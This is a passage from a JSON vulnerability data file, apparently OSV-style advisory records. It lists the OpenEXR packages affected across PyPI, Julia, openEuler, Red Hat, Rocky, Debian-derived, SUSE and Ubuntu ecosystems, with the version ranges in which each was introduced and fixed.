sv","ecosystem":"PyPI","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.3.0"},{"fixed":"3.3.8"}]}],"versions":["3.3.0","3.3.1","3.3.2","3.3.3","3.3.4","3.3.5","3.3.6","3.3.7"]},{"source":"osv","ecosystem":"PyPI","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.0"},{"fixed":"3.4.6"}]}],"versions":["3.4.0","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5"]},{"source":"osv","ecosystem":"Julia","package":"OpenEXR_jll","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.4.8+0"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS","package":"OpenEXR","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.11-5.oe2403"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP1","package":"OpenEXR","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.11-5.oe2403sp1"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP2","package":"OpenEXR","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.11-5.oe2403sp2"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP3","package":"OpenEXR","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.11-5.oe2403sp3"}]}]},{"source":"osv","ecosystem":"openEuler:22.03-LTS-SP4","package":"OpenEXR","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.5-5.oe2203sp4"}]}]},{"source":"osv","ecosystem":"openEuler:22.03-LTS-SP4","package":"OpenEXR","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.5-5.oe2203sp4"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS","package":"OpenEXR","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.11-5.oe2403"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP1","package":"OpenEXR","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.11-5.oe2403sp1"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP2","package":"OpenEXR","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.11-5.oe2403sp2"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP3","package":"OpenEXR","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.11-5.oe2403sp3"}]}]},{"source":"osv","ecosystem":"PyPI","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"3.2.6"},{"introduced":"3.3.0"},{"fixed":"3.3.8"},{"introduced":"3.4.0"},{"fixed":"3.4.6"}]}],"versions":["3.2.3","3.2.4","3.2.5","3.3.0","3.3.1","3.3.2","3.3.3","3.3.4","3.3.5","3.3.6","3.3.7","3.4.0","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5"]},{"source":"osv","ecosystem":"Red Hat:rhel_e4s:8.8::appstream","package":"OpenEXR","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_8.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_e4s:8.8::appstream","package":"OpenEXR-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_8.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_e4s:8.8::appstream","package":"OpenEXR-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_8.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_e4s:8.8::appstream","package":"OpenEXR-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_8.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_e4s:8.8::appstream","package":"OpenEXR-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_8.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_tus:8.8::appstream","package":"OpenEXR","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_8.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_tus:8.8::appstream","package":"OpenEXR-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_8.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_tus:8.8::appstream","package":"OpenEXR-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_8.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_tus:8.8::appstream","package":"OpenEXR-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_8.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_tus:8.8::appstream","package":"OpenEXR-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_8.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_aus:8.6::appstream","package":"OpenEXR","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_6.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_aus:8.6::appstream","package":"OpenEXR-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_6.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_aus:8.6::appstream","package":"OpenEXR-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_6.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_aus:8.6::appstream","package":"OpenEXR-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_6.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_aus:8.6::appstream","package":"OpenEXR-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_6.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_e4s:8.6::appstream","package":"OpenEXR","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_6.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_e4s:8.6::appstream","package":"OpenEXR-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_6.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_e4s:8.6::appstream","package":"OpenEXR-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_6.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_e4s:8.6::appstream","package":"OpenEXR-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_6.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_e4s:8.6::appstream","package":"OpenEXR-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_6.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_tus:8.6::appstream","package":"OpenEXR","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_6.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_tus:8.6::appstream","package":"OpenEXR-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_6.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_tus:8.6::appstream","package":"OpenEXR-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_6.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_tus:8.6::appstream","package":"OpenEXR-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_6.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_tus:8.6::appstream","package":"OpenEXR-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_6.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_aus:8.2::appstream","package":"OpenEXR","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-11.el8_2.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_aus:8.2::appstream","package":"OpenEXR-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-11.el8_2.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_aus:8.2::appstream","package":"OpenEXR-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-11.el8_2.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_aus:8.2::appstream","package":"OpenEXR-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-11.el8_2.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_aus:8.2::appstream","package":"OpenEXR-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-11.el8_2.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_aus:8.4::appstream","package":"OpenEXR","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_4.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_aus:8.4::appstream","package":"OpenEXR-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_4.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_aus:8.4::appstream","package":"OpenEXR-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_4.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_aus:8.4::appstream","package":"OpenEXR-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_4.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_aus:8.4::appstream","package":"OpenEXR-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_4.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_eus_long_life:8.4::appstream","package":"OpenEXR","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_4.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_eus_long_life:8.4::appstream","package":"OpenEXR-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_4.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_eus_long_life:8.4::appstream","package":"OpenEXR-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_4.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_eus_long_life:8.4::appstream","package":"OpenEXR-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_4.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_eus_long_life:8.4::appstream","package":"OpenEXR-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_4.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux_eus:10.0","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.10-8.el10_0.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux_eus:10.0","package":"openexr-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.10-8.el10_0.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.1","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.10-8.el10_1.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.1","package":"openexr-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.10-8.el10_1.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.1","package":"openexr-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.10-8.el10_1.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.1","package":"openexr-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.10-8.el10_1.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.1","package":"openexr-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.10-8.el10_1.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.1","package":"openexr-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.10-8.el10_1.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"OpenEXR","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_10.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"OpenEXR-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_10.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"OpenEXR-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_10.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"OpenEXR-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_10.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"OpenEXR-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_10.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::crb","package":"OpenEXR-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_10.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::crb","package":"OpenEXR-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_10.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::crb","package":"OpenEXR-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_10.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::crb","package":"OpenEXR-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_10.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_e4s:9.2::appstream","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-2.el9_2.2"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_e4s:9.2::appstream","package":"openexr-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-2.el9_2.2"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_e4s:9.2::appstream","package":"openexr-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-2.el9_2.2"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_e4s:9.2::appstream","package":"openexr-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-2.el9_2.2"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_e4s:9.2::appstream","package":"openexr-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-2.el9_2.2"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_e4s:9.0::appstream","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-2.el9_0.2"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_e4s:9.0::appstream","package":"openexr-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-2.el9_0.2"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_e4s:9.0::appstream","package":"openexr-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-2.el9_0.2"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_e4s:9.0::appstream","package":"openexr-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-2.el9_0.2"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_e4s:9.0::appstream","package":"openexr-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-2.el9_0.2"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_eus:9.4::appstream","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-2.el9_4.2"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_eus:9.4::appstream","package":"openexr-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-2.el9_4.2"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_eus:9.4::appstream","package":"openexr-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-2.el9_4.2"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_eus:9.4::appstream","package":"openexr-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-2.el9_4.2"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_eus:9.4::appstream","package":"openexr-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-2.el9_4.2"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_eus:9.4::crb","package":"openexr-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-2.el9_4.2"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_eus:9.4::crb","package":"openexr-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-2.el9_4.2"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_eus:9.4::crb","package":"openexr-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-2.el9_4.2"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_eus:9.4::crb","package":"openexr-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-2.el9_4.2"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_eus:9.6::appstream","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-3.el9_6.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_eus:9.6::appstream","package":"openexr-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-3.el9_6.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_eus:9.6::appstream","package":"openexr-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-3.el9_6.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_eus:9.6::appstream","package":"openexr-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-3.el9_6.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_eus:9.6::appstream","package":"openexr-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-3.el9_6.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_eus:9.6::crb","package":"openexr-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-3.el9_6.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_eus:9.6::crb","package":"openexr-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-3.el9_6.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_eus:9.6::crb","package":"openexr-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-3.el9_6.1"}]}]},{"source":"osv","ecosystem":"Red Hat:rhel_eus:9.6::crb","package":"openexr-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-3.el9_6.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-3.el9_7.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"openexr-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-3.el9_7.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"openexr-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-3.el9_7.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"openexr-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-3.el9_7.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"openexr-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-3.el9_7.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::crb","package":"openexr-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-3.el9_7.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::crb","package":"openexr-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-3.el9_7.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::crb","package":"openexr-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-3.el9_7.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::crb","package":"openexr-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-3.el9_7.1"}]}]},{"source":"osv","ecosystem":"Rocky Linux:10","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.10-8.el10_1.1"}]}]},{"source":"osv","ecosystem":"Rocky Linux:8","package":"OpenEXR","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.0-12.el8_10.1"}]}]},{"source":"osv","ecosystem":"Rocky Linux:9","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.1-3.el9_7.1"}]}]},{"source":"osv","ecosystem":"Root:Debian:11","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.4-2+deb11u1.root.io.13"},{"fixed":"2.5.4-2+deb11u1.root.io.14"},{"fixed":"2.5.4-2+deb11u1.aikido.17"},{"fixed":"2.5.4-2+deb11u1.root.io.12"},{"fixed":"2.5.4-2+deb11u1.aikido.16"},{"fixed":"2.5.4-2+deb11u1.root.io.15"},{"fixed":"2.5.4-2+deb11u1.aikido.18"}]}]},{"source":"osv","ecosystem":"Root:Debian:11","package":"rootio-openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.4-2+deb11u1.root.io.13"},{"fixed":"2.5.4-2+deb11u1.root.io.14"},{"fixed":"2.5.4-2+deb11u1.aikido.17"},{"fixed":"2.5.4-2+deb11u1.root.io.12"},{"fixed":"2.5.4-2+deb11u1.aikido.16"},{"fixed":"2.5.4-2+deb11u1.root.io.15"},{"fixed":"2.5.4-2+deb11u1.aikido.18"}]}]},{"source":"osv","ecosystem":"Root:Debian:12","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.5-5.root.io.10"},{"fixed":"3.1.5-5.root.io.15"},{"fixed":"3.1.5-5.root.io.21"},{"fixed":"3.1.5-5.root.io.22"},{"fixed":"3.1.5-5.root.io.12"},{"fixed":"3.1.5-5.root.io.23"},{"fixed":"3.1.5-5.root.io.13"},{"fixed":"3.1.5-5.root.io.14"},{"fixed":"3.1.5-5.root.io.11"},{"fixed":"3.1.5-5.root.io.16"},{"fixed":"3.1.5-5.root.io.17"},{"fixed":"3.1.5-5.root.io.18"},{"fixed":"3.1.5-5.root.io.19"},{"fixed":"3.1.5-5.root.io.20"},{"fixed":"3.1.5-5.aikido.24"},{"fixed":"3.1.5-5.aikido.25"}]}]},{"source":"osv","ecosystem":"Root:Debian:12","package":"rootio-openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.5-5.root.io.10"},{"fixed":"3.1.5-5.root.io.15"},{"fixed":"3.1.5-5.root.io.21"},{"fixed":"3.1.5-5.root.io.22"},{"fixed":"3.1.5-5.root.io.12"},{"fixed":"3.1.5-5.root.io.23"},{"fixed":"3.1.5-5.root.io.13"},{"fixed":"3.1.5-5.root.io.14"},{"fixed":"3.1.5-5.root.io.11"},{"fixed":"3.1.5-5.root.io.16"},{"fixed":"3.1.5-5.root.io.17"},{"fixed":"3.1.5-5.root.io.18"},{"fixed":"3.1.5-5.root.io.19"},{"fixed":"3.1.5-5.root.io.20"},{"fixed":"3.1.5-5.aikido.24"},{"fixed":"3.1.5-5.aikido.25"}]}]},{"source":"osv","ecosystem":"Root:Debian:13","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.13-2.aikido.14"},{"fixed":"3.1.13-2.root.io.10"},{"fixed":"3.1.13-2.root.io.11"},{"fixed":"3.1.13-2.root.io.9"},{"fixed":"3.1.13-2.root.io.13"},{"fixed":"3.1.13-2.root.io.12"},{"fixed":"3.1.13-2.aikido.15"}]}]},{"source":"osv","ecosystem":"Root:Debian:13","package":"rootio-openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.13-2.aikido.14"},{"fixed":"3.1.13-2.root.io.10"},{"fixed":"3.1.13-2.root.io.11"},{"fixed":"3.1.13-2.root.io.9"},{"fixed":"3.1.13-2.root.io.13"},{"fixed":"3.1.13-2.root.io.12"},{"fixed":"3.1.13-2.aikido.15"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.2.2-160000.5.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.2.2-160000.5.1"}]}]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.0-10ubuntu2.6+esm4"}]}],"versions":["2.2.0-1ubuntu3","2.2.0-7ubuntu1","2.2.0-9ubuntu1","2.2.0-10ubuntu2","2.2.0-10ubuntu2.1","2.2.0-10ubuntu2.2","2.2.0-10ubuntu2.3","2.2.0-10ubuntu2.4","2.2.0-10ubuntu2.6","2.2.0-10ubuntu2.6+esm1","2.2.0-10ubuntu2.6+esm2","2.2.0-10ubuntu2.6+esm3"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.0-11.1ubuntu1.9+esm1"}]}],"versions":["2.2.0-11ubuntu1","2.2.0-11.1ubuntu1","2.2.0-11.1ubuntu1.1","2.2.0-11.1ubuntu1.2","2.2.0-11.1ubuntu1.3","2.2.0-11.1ubuntu1.4","2.2.0-11.1ubuntu1.6","2.2.0-11.1ubuntu1.7","2.2.0-11.1ubuntu1.8","2.2.0-11.1ubuntu1.9"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"openexr","ran